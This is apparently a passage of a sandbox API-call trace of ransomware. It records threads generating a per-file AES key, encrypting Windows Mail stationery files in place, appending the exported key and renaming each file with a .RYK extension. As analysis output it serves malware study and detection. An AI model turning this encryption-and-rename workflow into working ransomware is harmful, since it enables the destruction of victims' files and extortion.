	[0268.329] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 0
	[0268.329] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.329] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orangecircles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3672
	os_tid = 0x3eec

	[0268.330] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", dwFileAttributes=0x80) returned 1
	[0273.477] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0273.477] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x9fdfb98 | out: lpFileSize=0x9fdfb98*=232) returned 1
	[0273.478] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x9fdfba8 | out: lpFileSize=0x9fdfba8*=232) returned 1
	[0273.478] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9fdfb78 | out: phKey=0x9fdfb78*=0x3f7fc0) returned 1
	[0273.478] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.478] ReadFile (in: hFile=0x6d4, lpBuffer=0x3d80000, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x9fdfb84, lpOverlapped=0x0 | out: lpBuffer=0x3d80000*, lpNumberOfBytesRead=0x9fdfb84*=0xe8, lpOverlapped=0x0) returned 1
	[0273.480] CryptEncrypt (in: hKey=0x3f7fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9fdfb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9fdfb80*=0xf4250) returned 1
	[0273.480] CryptEncrypt (in: hKey=0x3f7fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3d80000*, pdwDataLen=0x9fdfb88*=0xe8, dwBufLen=0xf4250 | out: pbData=0x3d80000*, pdwDataLen=0x9fdfb88*=0xf0) returned 1
	[0273.480] SetFilePointer (in: hFile=0x6d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.480] WriteFile (in: hFile=0x6d4, lpBuffer=0x3d80000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x9fdfb84, lpOverlapped=0x0 | out: lpBuffer=0x3d80000*, lpNumberOfBytesWritten=0x9fdfb84*=0xf0, lpOverlapped=0x0) returned 1
	[0273.481] WriteFile (in: hFile=0x6d4, lpBuffer=0x9fdfbb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9fdfb90, lpOverlapped=0x0 | out: lpBuffer=0x9fdfbb0*, lpNumberOfBytesWritten=0x9fdfb90*=0x6, lpOverlapped=0x0) returned 1
	[0273.481] CryptExportKey (in: hKey=0x3f7fc0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9fdfba0 | out: pbData=0x0*, pdwDataLen=0x9fdfba0*=0x10c) returned 1
	[0273.481] CryptExportKey (in: hKey=0x3f7fc0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9fdfc10, pdwDataLen=0x9fdfba0 | out: pbData=0x9fdfc10*, pdwDataLen=0x9fdfba0*=0x10c) returned 1
	[0273.481] WriteFile (in: hFile=0x6d4, lpBuffer=0x9fdfc10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9fdfb90, lpOverlapped=0x0 | out: lpBuffer=0x9fdfc10*, lpNumberOfBytesWritten=0x9fdfb90*=0x10c, lpOverlapped=0x0) returned 1
	[0273.481] CloseHandle (hObject=0x6d4) returned 1
	[0274.298] CryptDestroyKey (hKey=0x3f7fc0) returned 1
	[0274.299] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3673
	os_tid = 0x3ef0

	[0268.331] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 1
	[0273.816] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0273.817] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0xa1df5b8 | out: lpFileSize=0xa1df5b8*=5115) returned 1
	[0273.817] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0xa1df5c8 | out: lpFileSize=0xa1df5c8*=5115) returned 1
	[0273.817] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x12d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0273.817] ReadFile (in: hFile=0x6f8, lpBuffer=0xa1df610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa1df580, lpOverlapped=0x0 | out: lpBuffer=0xa1df610*, lpNumberOfBytesRead=0xa1df580*=0x19, lpOverlapped=0x0) returned 1
	[0273.819] SetFilePointer (in: hFile=0x6f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.820] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa1df598 | out: phKey=0xa1df598*=0x3f7ee0) returned 1
	[0273.820] SetFilePointer (in: hFile=0x6f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.820] ReadFile (in: hFile=0x6f8, lpBuffer=0x3e80000, nNumberOfBytesToRead=0x13fb, lpNumberOfBytesRead=0xa1df5a4, lpOverlapped=0x0 | out: lpBuffer=0x3e80000*, lpNumberOfBytesRead=0xa1df5a4*=0x13fb, lpOverlapped=0x0) returned 1
	[0274.141] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa1df5a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa1df5a0*=0xf4250) returned 1
	[0274.141] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e80000*, pdwDataLen=0xa1df5a8*=0x13fb, dwBufLen=0xf4250 | out: pbData=0x3e80000*, pdwDataLen=0xa1df5a8*=0x1400) returned 1
	[0274.142] SetFilePointer (in: hFile=0x6f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0274.142] WriteFile (in: hFile=0x6f8, lpBuffer=0x3e80000*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0xa1df5a4, lpOverlapped=0x0 | out: lpBuffer=0x3e80000*, lpNumberOfBytesWritten=0xa1df5a4*=0x1400, lpOverlapped=0x0) returned 1
	[0274.142] WriteFile (in: hFile=0x6f8, lpBuffer=0xa1df5d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa1df5b0, lpOverlapped=0x0 | out: lpBuffer=0xa1df5d0*, lpNumberOfBytesWritten=0xa1df5b0*=0x6, lpOverlapped=0x0) returned 1
	[0274.142] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa1df5c0 | out: pbData=0x0*, pdwDataLen=0xa1df5c0*=0x10c) returned 1
	[0274.142] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa1df630, pdwDataLen=0xa1df5c0 | out: pbData=0xa1df630*, pdwDataLen=0xa1df5c0*=0x10c) returned 1
	[0274.142] WriteFile (in: hFile=0x6f8, lpBuffer=0xa1df630*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa1df5b0, lpOverlapped=0x0 | out: lpBuffer=0xa1df630*, lpNumberOfBytesWritten=0xa1df5b0*=0x10c, lpOverlapped=0x0) returned 1
	[0274.142] CloseHandle (hObject=0x6f8) returned 1
	[0274.176] CryptDestroyKey (hKey=0x3f7ee0) returned 1
	[0274.177] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\peacock.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3674
	os_tid = 0x3ef4

	[0268.332] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", dwFileAttributes=0x80) returned 1
	[0273.820] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0273.820] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0xa48fc38 | out: lpFileSize=0xa48fc38*=233) returned 1
	[0273.820] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0xa48fc48 | out: lpFileSize=0xa48fc48*=233) returned 1
	[0273.820] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa48fc18 | out: phKey=0xa48fc18*=0x3f7d90) returned 1
	[0273.821] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.821] ReadFile (in: hFile=0x76c, lpBuffer=0x3f80000, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0xa48fc24, lpOverlapped=0x0 | out: lpBuffer=0x3f80000*, lpNumberOfBytesRead=0xa48fc24*=0xe9, lpOverlapped=0x0) returned 1
	[0274.068] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa48fc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa48fc20*=0xf4250) returned 1
	[0274.068] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3f80000*, pdwDataLen=0xa48fc28*=0xe9, dwBufLen=0xf4250 | out: pbData=0x3f80000*, pdwDataLen=0xa48fc28*=0xf0) returned 1
	[0274.068] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0274.068] WriteFile (in: hFile=0x76c, lpBuffer=0x3f80000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xa48fc24, lpOverlapped=0x0 | out: lpBuffer=0x3f80000*, lpNumberOfBytesWritten=0xa48fc24*=0xf0, lpOverlapped=0x0) returned 1
	[0274.068] WriteFile (in: hFile=0x76c, lpBuffer=0xa48fc50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa48fc30, lpOverlapped=0x0 | out: lpBuffer=0xa48fc50*, lpNumberOfBytesWritten=0xa48fc30*=0x6, lpOverlapped=0x0) returned 1
	[0274.068] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa48fc40 | out: pbData=0x0*, pdwDataLen=0xa48fc40*=0x10c) returned 1
	[0274.068] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa48fcb0, pdwDataLen=0xa48fc40 | out: pbData=0xa48fcb0*, pdwDataLen=0xa48fc40*=0x10c) returned 1
	[0274.069] WriteFile (in: hFile=0x76c, lpBuffer=0xa48fcb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa48fc30, lpOverlapped=0x0 | out: lpBuffer=0xa48fcb0*, lpNumberOfBytesWritten=0xa48fc30*=0x10c, lpOverlapped=0x0) returned 1
	[0274.069] CloseHandle (hObject=0x76c) returned 1
	[0275.310] CryptDestroyKey (hKey=0x3f7d90) returned 1
	[0275.310] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3675
	os_tid = 0x3ef8

	[0268.333] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 1
	[0273.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0
	[0273.831] GetFileSizeEx (in: hFile=0x7e0, lpFileSize=0xa5bfa18 | out: lpFileSize=0xa5bfa18*=1920) returned 1
	[0273.831] GetFileSizeEx (in: hFile=0x7e0, lpFileSize=0xa5bfa28 | out: lpFileSize=0xa5bfa28*=1920) returned 1
	[0273.831] SetFilePointerEx (in: hFile=0x7e0, liDistanceToMove=0x65e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0273.831] ReadFile (in: hFile=0x7e0, lpBuffer=0xa5bfa70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0xa5bfa70*, lpNumberOfBytesRead=0xa5bf9e0*=0x19, lpOverlapped=0x0) returned 1
	[0273.833] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.834] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa5bf9f8 | out: phKey=0xa5bf9f8*=0x3f7af0) returned 1
	[0273.834] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.834] ReadFile (in: hFile=0x7e0, lpBuffer=0x4080000, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0xa5bfa04, lpOverlapped=0x0 | out: lpBuffer=0x4080000*, lpNumberOfBytesRead=0xa5bfa04*=0x780, lpOverlapped=0x0) returned 1
	[0274.103] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa5bfa00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa5bfa00*=0xf4250) returned 1
	[0274.103] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4080000*, pdwDataLen=0xa5bfa08*=0x780, dwBufLen=0xf4250 | out: pbData=0x4080000*, pdwDataLen=0xa5bfa08*=0x790) returned 1
	[0274.103] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0274.103] WriteFile (in: hFile=0x7e0, lpBuffer=0x4080000*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0xa5bfa04, lpOverlapped=0x0 | out: lpBuffer=0x4080000*, lpNumberOfBytesWritten=0xa5bfa04*=0x790, lpOverlapped=0x0) returned 1
	[0274.103] WriteFile (in: hFile=0x7e0, lpBuffer=0xa5bfa30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa5bfa10, lpOverlapped=0x0 | out: lpBuffer=0xa5bfa30*, lpNumberOfBytesWritten=0xa5bfa10*=0x6, lpOverlapped=0x0) returned 1
	[0274.103] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa5bfa20 | out: pbData=0x0*, pdwDataLen=0xa5bfa20*=0x10c) returned 1
	[0274.103] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa5bfa90, pdwDataLen=0xa5bfa20 | out: pbData=0xa5bfa90*, pdwDataLen=0xa5bfa20*=0x10c) returned 1
	[0274.103] WriteFile (in: hFile=0x7e0, lpBuffer=0xa5bfa90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa5bfa10, lpOverlapped=0x0 | out: lpBuffer=0xa5bfa90*, lpNumberOfBytesWritten=0xa5bfa10*=0x10c, lpOverlapped=0x0) returned 1
	[0274.104] CloseHandle (hObject=0x7e0) returned 1
	[0274.138] CryptDestroyKey (hKey=0x3f7af0) returned 1
	[0274.138] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\roses.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3676
	os_tid = 0x3efc

	[0268.333] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", dwFileAttributes=0x80) returned 0
	[0268.333] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.334] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shades of blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3677
	os_tid = 0x3f00

	[0268.335] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 0
	[0268.335] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.335] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.336] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3678
	os_tid = 0x3f04

